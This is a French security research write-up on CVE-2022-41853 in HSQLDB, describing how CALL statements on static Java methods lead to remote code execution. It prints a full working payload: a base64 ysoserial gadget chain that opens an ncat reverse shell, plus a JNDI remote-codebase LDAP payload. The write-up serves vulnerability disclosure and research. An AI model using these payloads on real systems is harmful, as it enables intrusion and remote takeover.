
Recherche sur CVE-2022-41853: Utilisation de fonctions statiques pour obtenir une RCE via la désérialisation Java et l'attaque par codebase distante
Ceux qui utilisent java.sql.Statement ou java.sql.PreparedStatement dans hsqldb (HyperSQL DataBase) pour traiter des entrées non fiables peuvent être vulnérables à une attaque d'exécution de code à distance. Par défaut, il est permis d'appeler n'importe quelle méthode statique de n'importe quelle classe Java du classpath, ce qui aboutit à une exécution de code. Le problème peut être évité en mettant à jour vers la version 2.7.1 ou en définissant la propriété système "hsqldb.method_class_names" avec les classes autorisées à être appelées. Par exemple, System.setProperty("hsqldb.method_class_names", "abc") ou l'argument Java -Dhsqldb.method_class_names="abc" peuvent être utilisés. Depuis la version 2.7.1, toutes les classes sont par défaut inaccessibles, sauf celles de java.lang.Math, et doivent être activées manuellement.
La divulgation initiale de cette vulnérabilité se trouve ici.
Équipe OSS-Fuzz
https://github.com/google/oss-fuzz
En 2021, je lisais l'article de blog "Remote Code Execution in F5 Big‑IP" par Mikhail Klyuchnikov sur la façon dont une attaque de normalisation de chemin + des requêtes HSQL "CALL" pouvaient être utilisées pour appeler des méthodes statiques Java arbitraires afin d'obtenir une RCE.
Comme, à l'époque, je signalais et recherchais des vulnérabilités dans Apache SOLR, je me suis rappelé que leur exemple JDBC Stream utilise HSQL et je me suis attelé à la mise en place de l'environnement de test.

Note : Malheureusement, cette vulnérabilité n'affecte pas les serveurs Apache Solr par défaut, car le JAR HSQL doit être spécifiquement placé dans le dossier “./server/solr-webapp/webapp/WEB-INF/lib/” pour que le pilote soit accessible par le composant Stream JDBC.
Étant donné que la RCE dans F5 utilise la fonction "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" située dans "tmui.jar" (un JAR spécifique aux applications F5), et que je voulais concevoir un payload indépendant de l'application, je me suis intéressé à la manière d'enchaîner des JAR couramment utilisés (par exemple Apache Commons Collections, Apache Log4J) afin d'appeler des fonctions statiques et d'obtenir une RCE.
Comme les gadgets CommonsCollections* de ysoserial étaient la première chose qui me venait à l'esprit, je me suis engagé dans la voie de la désérialisation Java avec les résultats suivants :
java.lang.System.setProperty('org.apache.commons.collections.enableUnsafeSerialization','true') afin d'activer la désérialisation non sécurisée (Pourquoi contourner quand on peut carrément supprimer une protection :)) )public static <T> T org.apache.commons.lang.SerializationUtils.deserialize(byte[] objectData) comme sink pour notre entrée afin d'atteindre la fonction ObjectInputStream(x).readObject()public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseBase64Binary(String encoded) ou public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseHexBinary(String s) afin de transformer notre chaîne de payload ysoserial encodée en un tableau d'octets qui sera ingéré par deserialize(byte[] objectData)Le payload HSQL complet a la forme suivante :
CALL "java.lang.System.setProperty"('org.apache.commons.collections.enableUnsafeSerialization','true') + "org.apache.commons.lang.SerializationUtils.deserialize"("org.apache.logging.log4j.core.config.plugins.convert.Base64Converter.parseBase64Binary"('rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ABxuY2F0IC1lIC9iaW4vYmFzaCAxMjcuMSA0NDQ0dAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg='))
Note : Dans ce cas, le payload ysoserial est de type CommonsCollection6 et exécutera la commande reverse shell ncat -e /bin/bash 127.1 4444.
Note 2 : Le HSQLDB.jar autonome n'est pas vulnérable à ce payload, car il n'inclut pas le JAR Apache Commons Collections. Cette vulnérabilité fonctionne (la plupart du temps) lorsque HSQL est inclus dans une application web (par exemple SOLR, Liferay, etc.)
Plus de détails et le processus d'exploitation se trouvent dans ce PDF.
En me documentant sur ce sujet en 2023, je suis tombé sur cette excellente présentation Exploring JNDI Attacks par iSafeBlue qui utilisait java.lang.System.setProperty pour définir com.sun.jndi.ldap.object.trustURLCodebase ou com.sun.jndi.rmi.object.trustURLCodebase à true, puis effectuait une recherche LDAP/RMI afin de mener à bien une attaque Java de type Remote Codebase.
Exemple de payload HSQL :
CALL java.lang.System.setProperty"('com.sun.jndi.ldap.object.trustURLCodebase','true') + "javax.naming.InitialContext.doLookup"('ldap://127.0.0.1:4444/pgesux')
Résultat :

Note : Pour des raisons inconnues, cette vulnérabilité fonctionne avec le HSQLDB.jar par défaut, mais elle ne fonctionne pas dans l'environnement HSQL + Apache SOLR ¯\_(ツ)_/¯.